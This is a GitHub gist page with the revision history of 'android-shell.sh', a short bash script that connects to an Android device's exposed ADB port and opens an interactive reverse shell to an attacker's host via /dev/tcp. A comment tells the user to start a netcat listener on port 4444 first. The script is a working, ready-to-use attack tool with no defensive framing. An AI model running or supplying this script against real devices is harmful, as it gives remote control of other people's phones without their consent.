Skip to content

Instantly share code, notes, and snippets.

@random-robbie
Last active May 5, 2024 13:40
Show Gist options
  • Save random-robbie/4d6264cfadc7d716cd28ba29e424f62d to your computer and use it in GitHub Desktop.
Save random-robbie/4d6264cfadc7d716cd28ba29e424f62d to your computer and use it in GitHub Desktop.

Revisions

  1. random-robbie revised this gist Jun 9, 2018. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion android-shell.sh
    Original file line number Diff line number Diff line change
    @@ -1,6 +1,6 @@
    #!/bin/bash
    # Simple reverse shell on android devie using Android Debug Bridge ensure you run nc -lvp 4444 on another screen first.
    # By Random_Robbie
    adb connect $:5555
    adb connect $1:5555
    adb shell sh -i >& /dev/tcp/$2/4444 0>&1
    echo "[*] Should have a shell now ..... Be nice :) [*]"
  2. random-robbie created this gist Jun 9, 2018.
    6 changes: 6 additions & 0 deletions android-shell.sh
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,6 @@
    #!/bin/bash
    # Simple reverse shell on android devie using Android Debug Bridge ensure you run nc -lvp 4444 on another screen first.
    # By Random_Robbie
    adb connect $:5555
    adb shell sh -i >& /dev/tcp/$2/4444 0>&1
    echo "[*] Should have a shell now ..... Be nice :) [*]"